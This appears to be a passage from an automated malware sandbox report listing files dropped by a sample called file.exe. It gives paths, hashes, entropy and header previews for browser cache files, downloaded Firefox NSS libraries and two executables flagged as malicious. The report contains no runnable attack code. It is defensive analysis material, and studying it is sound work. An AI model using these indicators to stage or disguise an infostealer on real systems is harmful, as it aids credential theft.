Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dec90c3a-166e-4578-a80b-822e6a53e8ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46115
Entropy (8bit):	6.087191383113455
Encrypted:	false
SSDEEP:	768:GMkbJrT8IeQcrQgDo+L7u4hDO6vP6OU6LUEq+AJlmEHiMCAoBGoup1Xl3jVzXr41:GMk1rT8Hjo+W606LuiMRoBhu3VlXr41
MD5:	92B09B13432F9AF59F5D261655DBF76A
SHA1:	EFF15AA09493A387FD6130811C183C506C9D1B7E
SHA-256:	C33ECC3ADA72BBEAD5EAAFCAEB4AC5374B071DD70298E4592B6A5B76F303030F
SHA-512:	34291246F75E2F4557AC91BE8B072C514ED0DDE6DD15ADF802C876B2C09668AFC47EDF56185B5E42B7DED825EDA80E76C959DCBCA5D2419E790F2F9B7FE166F2
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731683785"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e331ff90-e9a5-4590-9010-80d69615397a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46038
Entropy (8bit):	6.087255316820861
Encrypted:	false
SSDEEP:	768:GMkbJrT8IeQcrQgx9+L7u4hDO6vP6OU6LUEq+AJlmEHiMCAoBGoup1Xl3jVzXr41:GMk1rT8HR9+W606LaiMRoBhu3VlXr41
MD5:	BB97B8C836E5E6FD5CFA1B127DD5BA1D
SHA1:	8407CA27EFC31D36404F17DD0C60D8508C36CE17
SHA-256:	E51E2A07510D59C3117117752694C936AEE8A7269AD2DC70543C689161DC9545
SHA-512:	50F2DCA2C4E404F55487DF9322310983C2CCDD7DAFF1B075422C435134BC7A72767DF3E58565BFC42DCAEB6258C94C7AA98317A5F16A67CE0F5D54FD1FF231DC
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731683785"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e3c9b576-005d-4788-8196-340269add028.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096697498667439
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMwu7hDO6vP6OU6LUEyyatPRqcGoup1Xl3jVzXr4z:z/Ps+wsI7ynEH606LHchu3VlXr4CRo1
MD5:	92784FE773903A17ADCC12E195A86E21
SHA1:	AAA92C8B33B4B665F9AA6B605F65B5C3497884B0
SHA-256:	383F7CD4FFD3D2BA1546ACB846D99F3C54A8302DF52E8847C0912820043CD818
SHA-512:	C27F669756CA8B3845258A3C6F874BF5F7B903D7DEDA34012720DDD0415475EE9AD2E2E13E09BEF4F89AB507C563E045459938961D689DC2200B47BD9C108ACA
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8338555016485407
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxuxl9Il8u5rGSd6w5S0twIWZJoPiVLCKe7OYkFpIDd1rc:m/YzGO6qSeHPiVnY0pZ
MD5:	9DAAECB250C5939C122087F9B39C17A2
SHA1:	CA19AAFD0C39C60B83CAAA341B444BFC9BA8CD06
SHA-256:	9028EA919ED0BCCFDC9628F6CC46442B1071A73C556B3573859EEFE108FD4919
SHA-512:	288BDB83C58C170A0DF4029070F90AAB9E48822B5E9BA5C7E4C50865F1AD27419F2AE0312D945864AD585D911431B284DA77E1D0B9612BAD36DB4AFE65A457FB
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.G.W.A.t.n.k.3.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.H.H.i.7.I.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.00273452719403
Encrypted:	false
SSDEEP:	96:fYz5Jw/9PprPLJ26THz+MeA12TmLgbWRo4/B4oojf:fMw/brk6OxyIvA3Mjf
MD5:	918BE1ECA9D20561CE50934C0D3700BC
SHA1:	4EB793801B018B7EC07FBD081561152DC50AC374
SHA-256:	D9CA74E9862C7980CEDDEA326C2C88A97817E495E2D273172E87E5C936295FC4
SHA-512:	06F2A6FAAD5B5F0611F53C7D329ADF92A6F7B11E5E1303E2F611ED3C4654BD5950599F48DF6A41AAB851CF545C0F970227695CF12DBA68D97AD24C0133F3F93D
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".2.n.x.1.n.H.E.3.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.H.H.i.7.I.A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8996954209299792
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xwxl9Il8u5rRsQ6XQVbMNOZVmjWESwoktb374d/vc:ayYzRsQ6ybMNOZkjgwxbrh
MD5:	B0F0B463D5C20CA531EF23530237A7BD
SHA1:	DF0BADD35B647B472F417ECEE7C72191BEF40918
SHA-256:	76B78C07D841AC577A0CE44B32419AD77936534EB9175E3AE97173A138C3F44B
SHA-512:	32715D816FB3C30F80D0226E0F85B2A1050383598F9E8C655DA7347A0C00F53002DC5A3C15ABA1F1033C890D99FE34361CAD6D4044BBC55E6EE717CDA2709B03
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".F.V.j.q.z.E.J.W.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.H.H.i.7.I.A.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.381830211954893
Encrypted:	false
SSDEEP:	96:6NnQCHQfNnQUbQfNnQY9QeNnQBdgEQ/NnQwQaNnQoDQuNnQcwQjNnQX3QG:6NINGNXNYqN5NdpNb/Nq
MD5:	E2133619D09D4BE3EE0D02CB713A5422
SHA1:	3D5A61840A1C10D54E2450A0540BFD3040A8D2F1
SHA-256:	4E9FB41B55A369EB6E6FA8C895E4328FA6728B52975FB725ED8261C5A6A405F1
SHA-512:	BD4BE666B18A6231B80F1F08DC47DCF982FB67C85BE01C224B9E8B38FCA0348C0DC6AC8E65A5C403E2DE5F467F9116435C641DDFE0FF1E0B87D61CFC595147D0
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0720D07D0771377FC24B61ECF28CC5CF",.. "id": "0720D07D0771377FC24B61ECF28CC5CF",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0720D07D0771377FC24B61ECF28CC5CF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/15122757D31C9502EEBF371F90CB9D21",.. "id": "15122757D31C9502EEBF371F90CB9D21",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/15122757D31C9502EEBF371F90CB9D21"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.383612600526344
Encrypted:	false
SSDEEP:	48:SfNaoQw5UTEQw3wfNaoQcQlfNaoQ6l2Q6WfNaoQWY0UrU0U8QR8:6NnQw5UTEQw38NnQcQRNnQBQ9NnQ70UN
MD5:	BB5C7C7F4A00E3613031B41F11B4A834
SHA1:	0625D8C6D60A6DC99C2536F6C1E683E438712050
SHA-256:	0F40C9CC8C02CBB66441F5E3DE3F7B0056492BB4481EDFE4B6B911DC4253BF8B
SHA-512:	C61ED4143227D97F528770146A3D71671849BDEBFE7A4190B07A0BE1B991405131F384A82FEA894E76BDE0FC1F3FFBFF788BCC49114CA7EFB1978911F6A354AE
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E1A9D23E4703BADF9CF1BB89FF1EC63C",.. "id": "E1A9D23E4703BADF9CF1BB89FF1EC63C",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E1A9D23E4703BADF9CF1BB89FF1EC63C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EF7AD83F45EA7285155CB811EAF64DC8",.. "id": "EF7AD83F45EA7285155CB811EAF64DC8",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EF7AD83F45EA7285155CB811EAF64DC8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4416512
Entropy (8bit):	7.983503620020968
Encrypted:	false
SSDEEP:	98304:FHe8EXNnsUC1nsNi08h5iLfPrlcr9cUYS302MHcNc4+JvpgjqSE1cDTpBn3CG:QqJ1n308h4JAcUVhMHci4+QCMfyG
MD5:	5552526220FA0F65D5371D522781FCAB
SHA1:	09A58D7523266565F9A32198356A7B40E5BFA029
SHA-256:	638E6484019DB8C7AB1005F06509B859C76A0D86FD907B4BEFDE9C8C15708020
SHA-512:	8AC56EC18352D02BCF454DBF25E41A6D577CEAD5E8DFA03290D7D3DD590E950183C11B7E54C849598C70019B4BFFB64FFBAB18108079E0E99ACCCE29BCA58D05
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A.5g...............(..G..2i..2...@........H...@..........................p........C...@... ............................._.f.s........................... -...............................,...................................................... . ..f......l'.................@....rsrc ......f......\|'.............@....idata ......f......\|'.............@... ..8...f......~'.............@...uquybeiu.....p........'.............@...cqjmtrkl.....0.......>C.............@....taggant.0...@..."...BC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2848768
Entropy (8bit):	6.498104911127921
Encrypted:	false
SSDEEP:	24576:nig8/G9iTiZm3TV62CLLL/uns1PFGf6csRMspJ3U3sVG2EEsH5MiJM0Zx2WO7Qc5:38/GcmZmDV8zWs1DFE2EJ5bASudJR
MD5:	6AF7BB44C8E6E041BF2EE6B7A60D9AB3
SHA1:	D2097C734FA39A904796DC832946D5C23F400C7A
SHA-256:	F5C34A6757804A619A99A1BA73BA51BA25A158E5EE6E9CC86A2BE1292064E415
SHA-512:	0C42E65C806CE75269EBE012FF5271CA5CA43E63229E9B1E6232FA530AFC6CCB9F2EC6AB79DF2C48023C83FA68A3FB44FBEDE339339936B54447CF6D14505FF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....>4,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cqrjeytt. +.......+..:..............@...ftifzosq. ....+......P+.............@....taggant.@....+.."...V+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

